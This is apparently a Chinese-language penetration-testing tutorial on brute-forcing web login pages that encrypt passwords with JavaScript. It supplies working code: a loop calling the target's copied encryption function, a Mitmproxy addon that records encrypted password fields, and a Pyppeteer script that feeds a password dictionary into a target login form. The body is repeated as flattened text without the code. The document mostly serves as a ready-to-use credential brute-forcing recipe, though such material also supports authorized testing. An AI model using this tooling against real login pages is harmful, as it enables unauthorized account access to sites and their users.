采集器绕过js加密爆破
字数 928 2025-08-19 12:42:18

采集器绕过JS加密爆破技术详解

0x00 前言

在渗透测试过程中,爆破是不可缺少的一环。但在Web后台爆破中常会遇到JS加密的影响,导致爆破困难。本文提供两种解决方案:常规JS加密函数处理方法和创新的采集器方法。

0x01 常规解决方案

方法步骤

  1. 抓包分析:发现账号密码全部加密传输
  2. 定位加密函数:在网页源码中搜索加密函数
  3. 复制加密逻辑:将目标JS加密函数拷贝到本地
  4. 处理字典:使用Python将密码字典转换为JS数组格式
  5. 生成密文:在HTML中调用加密函数处理明文字典
  6. 爆破:使用Burp Suite进行常规爆破

示例代码

// 调用DES加密函数处理密码
let arr = ['password1', 'password2', 'admin'];
for(let i=0; i<arr.length; i++){
    password = arr[i];
    pwd = strEnc(password,'1','2','3'); // 调用目标加密函数
    document.write(pwd + "<br>");
}

0x02 采集器方法

当遇到JS混淆或难以理解的加密逻辑时,可采用采集器方法:

  1. 使用Pyppeteer模拟浏览器输入明文密码
  2. 使用Mitmproxy截取加密后的流量
  3. 提取加密后的密码形成新字典

0x03 Mitmproxy流量截取

实现原理

Mitmproxy作为中间人代理,可以截取并修改HTTP/HTTPS流量。

关键代码

from mitmproxy import ctx, flowfilter

class Recorder:
    def request(self, flow):
        re = flow.request.get_text()
        string = re.split('&') # 从&分割
        for secret in string:
            if 'password' in secret: # 提取password字段
                s = secret.split('=',1)[1:] # 获取等号后内容
                with open("pass.txt", "a") as f:
                    f.write(s[0] + "\n")

addons = [Recorder()]

使用方法

mitmweb -s gather.py

默认监听8080端口,8081端口为流量历史记录界面。

0x04 Pyppeteer模拟输入

实现原理

Pyppeteer是Puppeteer的Python实现,可以控制Chromium/Chrome浏览器。

关键代码

import asyncio
from pyppeteer import launch

async def main():
    url = "https://target/login.htm"
    with open("pass.txt", "r") as f:
        for password in f.readlines():
            browser = await launch({
                'headless': False,
                'args': ['--proxy-server=127.0.0.1:8080'],
                "ignoreHTTPSErrors": True
            })
            page = await browser.newPage()
            await page.goto(url)
            password = password.strip()
            await page.type("input[id=username]", "test")
            await page.type("input[id=password]", password)
            await page.type("input[id=code]", "0000")
            await page.click('button[type="submit"]')
            await page.waitFor(1000)
            await page.close()
            await browser.close()

asyncio.get_event_loop().run_until_complete(main())

注意事项

  1. 需要安装Mitmproxy证书才能处理HTTPS流量
  2. 适当增加等待时间避免页面未加载完成就执行操作
  3. 建议添加错误处理机制

0x05 实验效果

  1. 启动Mitmproxy监听
  2. 运行Pyppeteer脚本模拟登录
  3. 脚本会自动将加密后的密码保存到文件
  4. 使用生成的密文字典进行爆破

常见问题解决

  1. 页面元素定位失败:增加await page.waitFor(1000)等待时间
  2. HTTPS证书错误:安装Mitmproxy证书并添加ignoreHTTPSErrors参数
  3. 网络延迟问题:在循环中添加适当的延迟

总结

本文提供了两种绕过JS加密进行爆破的方法:

  1. 常规方法适用于JS加密逻辑清晰的情况
  2. 采集器方法适用于JS混淆或复杂加密的情况

采集器方法通过模拟浏览器行为+流量截取的组合,有效解决了复杂JS加密的爆破难题,具有通用性强、适应性好的特点。

采集器绕过JS加密爆破技术详解 0x00 前言 在渗透测试过程中,爆破是不可缺少的一环。但在Web后台爆破中常会遇到JS加密的影响,导致爆破困难。本文提供两种解决方案:常规JS加密函数处理方法和创新的采集器方法。 0x01 常规解决方案 方法步骤 抓包分析 :发现账号密码全部加密传输 定位加密函数 :在网页源码中搜索加密函数 复制加密逻辑 :将目标JS加密函数拷贝到本地 处理字典 :使用Python将密码字典转换为JS数组格式 生成密文 :在HTML中调用加密函数处理明文字典 爆破 :使用Burp Suite进行常规爆破 示例代码 0x02 采集器方法 当遇到JS混淆或难以理解的加密逻辑时,可采用采集器方法: 使用Pyppeteer模拟浏览器输入明文密码 使用Mitmproxy截取加密后的流量 提取加密后的密码形成新字典 0x03 Mitmproxy流量截取 实现原理 Mitmproxy作为中间人代理,可以截取并修改HTTP/HTTPS流量。 关键代码 使用方法 默认监听8080端口,8081端口为流量历史记录界面。 0x04 Pyppeteer模拟输入 实现原理 Pyppeteer是Puppeteer的Python实现,可以控制Chromium/Chrome浏览器。 关键代码 注意事项 需要安装Mitmproxy证书才能处理HTTPS流量 适当增加等待时间避免页面未加载完成就执行操作 建议添加错误处理机制 0x05 实验效果 启动Mitmproxy监听 运行Pyppeteer脚本模拟登录 脚本会自动将加密后的密码保存到文件 使用生成的密文字典进行爆破 常见问题解决 页面元素定位失败 :增加 await page.waitFor(1000) 等待时间 HTTPS证书错误 :安装Mitmproxy证书并添加 ignoreHTTPSErrors 参数 网络延迟问题 :在循环中添加适当的延迟 总结 本文提供了两种绕过JS加密进行爆破的方法: 常规方法适用于JS加密逻辑清晰的情况 采集器方法适用于JS混淆或复杂加密的情况 采集器方法通过模拟浏览器行为+流量截取的组合,有效解决了复杂JS加密的爆破难题,具有通用性强、适应性好的特点。